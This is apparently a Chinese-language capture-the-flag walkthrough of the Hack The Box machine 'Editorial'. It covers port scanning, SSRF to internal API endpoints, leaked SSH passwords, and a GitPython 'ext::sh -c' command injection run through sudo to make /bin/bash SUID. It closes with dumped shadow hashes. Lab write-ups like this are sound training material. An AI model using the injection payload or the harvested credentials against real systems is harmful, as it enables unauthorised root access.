基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV 10.10.11.20
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-17 13:31 CST
Nmap scan report for 10.10.11.20
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.90 seconds

80

需要加hosts:

1
10.10.11.20 editorial.htb

图书相关:

Publish

Publish这里有输入url和上传文件的地方:

测试请求,看起来上传的文件无所谓,但URL会被请求到,响应的链接访问就是对应url的内容:

SSRF

这种场景,常规ssrf,请求失败就是一张默认图片,成功的响应有点区别,发现端口5000:

操作要快,有自动清理:

api

5000端口得到一些api,后面一步步请求:

1
2
3
4
5
6
/api/latest/metadata/messages/promos
/api/latest/metadata/messages/coupons
/api/latest/metadata/messages/authors
/api/latest/metadata/messages/how_to_use_platform
/api/latest/metadata/changelog
/api/latest/metadata

在authors中得到一组账号密码:

1
2
dev
dev080217_devAPI!@

user flag

这组账号密码可以ssh,得到user flag:

信息

dev用户目录中apps是空的,查看git log发现历史操作:

在其中一次变更中得到prod的账号密码:

1
2
3
4
git diff 1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

prod
080217_Producti0n_2023!@

prod

切换到prod用户,可以sudo运行指定文件:

GitPython

查看代码发现就是clone给定的参数url,但用到的GitPython库是3.1.29,可以搜到已知漏洞:

提权 & root flag

参考公开poc自己改一下命令即可:

1
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% +s% /bin/bash"

shadow

1
2
3
root:$y$j9T$PNijPFzQRd1/Yx6sr4HqS.$ITtQp.k4TN0RY1ADcvcSb.b9UcxD6Jx0MDNL3odgsV9:19878:0:99999:7:::
prod:$y$j9T$bQEMwg1M5mDlBp9UM9YAM0$y8V8Rl64myknJa31Tzt/x9hQpzavDce2vGK9K8y316.:19394:0:99999:7:::
dev:$y$j9T$KcdXrIRoJN69I1Ez4Zx1B/$Jc/EJctFUl4/PaL2RvwUWccq5zC4ep2KtIhMDtbTdn6:19390:0:99999:7:::

参考资料